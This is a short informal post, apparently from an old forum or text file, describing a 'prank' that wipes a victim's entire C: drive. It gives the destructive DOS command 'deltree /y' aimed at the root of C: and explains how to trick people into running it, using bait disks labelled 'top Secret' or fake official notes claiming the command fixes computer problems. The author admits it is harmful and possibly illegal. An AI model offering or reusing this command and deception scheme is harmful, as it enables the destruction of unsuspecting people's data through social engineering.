there are all kinds of ways to do this prank...

Deltree /y C:\*.*

if someone enters this in DOS-prompt it will completely wipe out their whole c: without having to confirm it. simply type it in and push enter and it will all be gone. Now, how do you get to your victoms computer without them suspecting? simple. leave a disk laying around that says "top Secret" or "my love live on disk" or somthing else that will pique you victoms curiosity. then in small letters put "type 'deltree /y c:\*.*' while in DOS-prompt to open program. You can also leave a TYPED official looking note by a computer that says something to the effect of typing it in dos if there are ANY problems and the problem will be fixed. this is very harmful and may even be illegal so WaTcH OuT!